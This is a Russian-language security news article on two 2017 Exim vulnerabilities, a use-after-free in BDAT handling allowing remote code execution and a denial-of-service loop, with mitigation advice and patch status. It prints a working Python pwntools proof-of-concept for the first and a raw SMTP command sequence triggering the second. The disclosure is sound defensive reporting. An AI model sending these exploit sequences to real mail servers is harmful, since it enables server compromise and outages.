Уязвимость в Exim, позволяющая выполнить код на сервере

В почтовом сервере Exim выявлена критическая уязвимость (CVE-2017-16943), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд по SMTP. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение «ESMTP CHUNKING» (появилось в Exim 4.88) путем установки пустого значения в параметр «chunking_advertise_hosts» в файле конфигурации.

Уязвимость вызвана ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам Exim 4.88 и 4.89, в которых поддерживается команда BDAT и расширение «ESMTP CHUNKING», предназначенные для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают потенциальную возможность обнаружения других методов эксплуатации уязвимости.

Так как сведения об уязвимости были раскрыты через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, сведения об уязвимости опубликованы разработчиками Exim до выпуска обновления с устранением уязвимости. Для применения пока доступен только предварительный вариант патча. Обновления пакетов уже сформированы для FreeBSD. Проблема остаётся неисправленной в Debian (stretch), openSUSE, SUSE, Fedora, Ubuntu, RHEL/EPEL.

Для проверки подверженности уязвимости подготовлен прототип эксплоита, который сводится к передаче несуществующей команды с последующей отправкой команды «BDAT 1», команды BDAT без указания размера и большой порции непечатных символов. Пример на Python:

   from pwn import *
   r = remote('localhost', 25)

   r.recvline()
   r.sendline("EHLO test")
   r.recvuntil("250 HELP")
   r.sendline("MAIL FROM:")
   r.recvline()
   r.sendline("RCPT TO:")
   r.recvline()
   #raw_input()
   r.sendline('a'*0x1100+'x7f')
   #raw_input()
   r.recvuntil('command')
   r.sendline('BDAT 1')
   r.sendline(':BDAT x7f')
   s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
   r.send(s+ ':rn')
   r.recvuntil('command')
   #raw_input()
   r.send('n')
   r.interactive()
   exit()

Кроме того, в Exim дополнительно выявлена ещё одна уязвимость в реализации «ESMTP CHUNKING» (CVE-2017-16944), позволяющая вызвать отказ в обслуживании. Как и первая проблема вторая уязвимость присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа «.» в конце блока, переданного командой BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:

   EHLO localhost
   MAIL FROM:
   RCPT TO:
   BDAT 10
   .
   BDAT 0

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.